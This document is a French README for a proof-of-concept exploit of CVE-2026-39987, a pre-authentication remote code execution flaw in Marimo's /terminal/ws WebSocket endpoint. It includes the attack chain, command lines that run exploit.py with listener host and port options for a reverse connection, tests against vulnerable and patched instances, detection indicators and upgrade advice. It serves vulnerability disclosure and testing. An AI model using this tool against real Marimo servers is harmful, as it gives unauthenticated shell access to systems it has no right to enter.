
Preuve de concept d'exploitation pour CVE-2026-39987, une RCE pré-authentification dans le point de terminaison WebSocket du terminal de Marimo. Démontre l'exécution de commandes non authentifiée et inclut des tests de validation pour les instances vulnérables et corrigées.
| Propriété | Valeur |
|---|
| CVE | CVE-2026-39987 |
| Produit | Marimo |
| Vulnérabilité | Exécution de Code à Distance Pré-Authentification |
| Vecteur d'attaque | Réseau |
| Authentification | Non requise |
| Interaction utilisateur | Non requise |
| CWE | CWE-306 — Absence d'authentification pour une fonction critique |
| Sévérité | Critique |
| Version corrigée | 0.23.0 |
CVE-2026-39987 est une vulnérabilité critique d'exécution de code à distance (RCE) pré-authentification affectant Marimo, un environnement de notebook Python réactif. La vulnérabilité est située dans le point de terminaison WebSocket du terminal /terminal/ws.
Le point de terminaison vulnérable du terminal crée un PTY interactif après avoir accepté une connexion WebSocket.
Conceptuellement, le flux de requête vulnérable est :
Client distant
|
| Connexion WebSocket
v
/terminal/ws
|
| Validation d'authentification manquante
v
WebSocket accepté
|
v
PTY créé
|
v
Shell interactif
La frontière de sécurité importante est le contrôle d'authentification manquant.
Un point de terminaison exposant une exécution arbitraire de commandes ne doit pas permettre à un client non authentifié d'atteindre la logique de création du PTY.
L'objectif de ce projet est de démontrer, dans un environnement contrôlé, l'absence d'application de l'authentification affectant le point de terminaison WebSocket du terminal de Marimo.
Les équipes de sécurité peuvent utiliser le projet pour :
Avertissement : Exécutez le PoC uniquement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester.
La chaîne complète de la vulnérabilité peut être résumée comme suit :
1. L'attaquant découvre une instance Marimo exposée
|
v
2. L'attaquant se connecte à /terminal/ws
|
v
3. L'authentification n'est pas appliquée
|
v
4. La connexion WebSocket est acceptée
|
v
5. Un terminal PTY est créé
|
v
6. L'attaquant obtient l'exécution de commandes
|
v
7. Les commandes s'exécutent en tant que processus Marimo
La défaillance de sécurité critique se produit à l'étape 3.
Python 3.7+
pip
Accès réseau à la cible autorisée
# Installation de base
pip install websocket-client
# Installation complète
pip install websocket-client rich
python3 exploit.py --help
python3 exploit.py -u <URL_CIBLE> --lhost <IP_LOCALE> --lport <PORT>
python3 exploit.py \
-u http://127.0.0.1:8081 \
--lhost 127.0.0.1 \
--lport 4444
python3 exploit.py \
-u https://marimo.example.com \
--lhost 192.168.1.100 \
--lport 5555 \
--timeout 30 \
--retries 5
python3 exploit.py \
-u http://cible:8081 \
--lhost 10.0.0.5 \
--lport 9999 \
--verbose \
--no-verify-ssl \
--retry-delay 1.5
| Paramètre | Type | Description | Défaut |
|---|---|---|---|
-u, --url | chaîne | URL de base de l'instance Marimo cible | Requis |
--lhost | chaîne | Adresse IP de l'écouteur | Requis |
--lport | entier | Port de l'écouteur (1-65535) | Requis |
--timeout | entier | Délai d'expiration de l'écouteur en secondes | 15 |
--retries | entier | Nouvelles tentatives de connexion WebSocket | 3 |
--retry-delay | flottant | Délai entre les nouvelles tentatives | 2.0 |
--no-verify-ssl | drapeau | Désactiver la vérification du certificat SSL | False |
-v, --verbose | drapeau | Activer la sortie détaillée | False |
-s, --silent | drapeau | Supprimer la sortie | False |
Phase 1 : Initialisation
↓ Valider les paramètres
↓ Configurer la journalisation
Phase 2 : Préparation
↓ Initialiser l'écouteur
↓ Établir la connexion WebSocket
Phase 3 : Validation
↓ Tester le point de terminaison du terminal
↓ Vérifier l'application de l'authentification
↓ Enregistrer le comportement de la connexion
Phase 4 : Démonstration
↓ Établir une session de test autorisée
↓ Vérifier le contexte d'exécution des commandes
↓ Collecter les preuves de validation
Phase 5 : Nettoyage
↓ Restaurer l'état du terminal
↓ Fermer les connexions
↓ Libérer les ressources
python3 exploit.py \
-u http://vulnerable:8081 \
--lhost 10.0.0.1 \
--lport 4444
Résultat Attendu : Le point de terminaison vulnérable du terminal accepte la connexion non authentifiée.
python3 exploit.py \
-u http://patched:8081 \
--lhost 10.0.0.1 \
--lport 4444
Résultat Attendu : La connexion est rejetée ou autrement empêchée par les contrôles d'authentification.
python3 exploit.py \
-u http://firewalled:8081 \
--lhost 10.0.0.1 \
--lport 4444 \
--timeout 5
Résultat Attendu : Le délai d'expiration est signalé proprement.
Sévérité : Critique (CVSS 9.3)
Complexité : Faible
Authentification : Aucune requise
Impact : Exécution de Code à Distance
Protocole : WebSocket
Point de terminaison : /terminal/ws
Version corrigée : 0.23.0
Le README source classe le problème comme CVSS 9.3 Critique et identifie CWE-306, WebSocket comme protocole, et /terminal/ws comme point de terminaison affecté.
Les indicateurs potentiels d'exploitation incluent des connexions WebSocket inattendues vers :
/terminal/ws
Les défenseurs doivent enquêter sur :
Mettez à niveau Marimo vers une version corrigée :
0.23.0 ou ultérieure
Les recommandations défensives supplémentaires incluent :
/terminal/ws.CVE : CVE-2026-39987
CWE : CWE-306
Sévérité : Critique
Type : RCE Pré-Authentification
Protocole : WebSocket
Point de terminaison : /terminal/ws
Auth : Aucune requise
Corrigé : 0.23.0
UTILISATION AUTORISÉE UNIQUEMENT
Ce projet est fourni exclusivement pour :
Toute utilisation non autorisée est strictement interdite et peut violer les lois locales et internationales applicables.
Ce projet est fourni à des fins de recherche en sécurité, de validation de vulnérabilités et à des fins éducatives.
N'utilisez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
Les mainteneurs ne sont pas responsables des mauvaises utilisations, des tests non autorisés, des dommages, des pertes de données ou de toute conséquence résultant de l'utilisation de ce projet.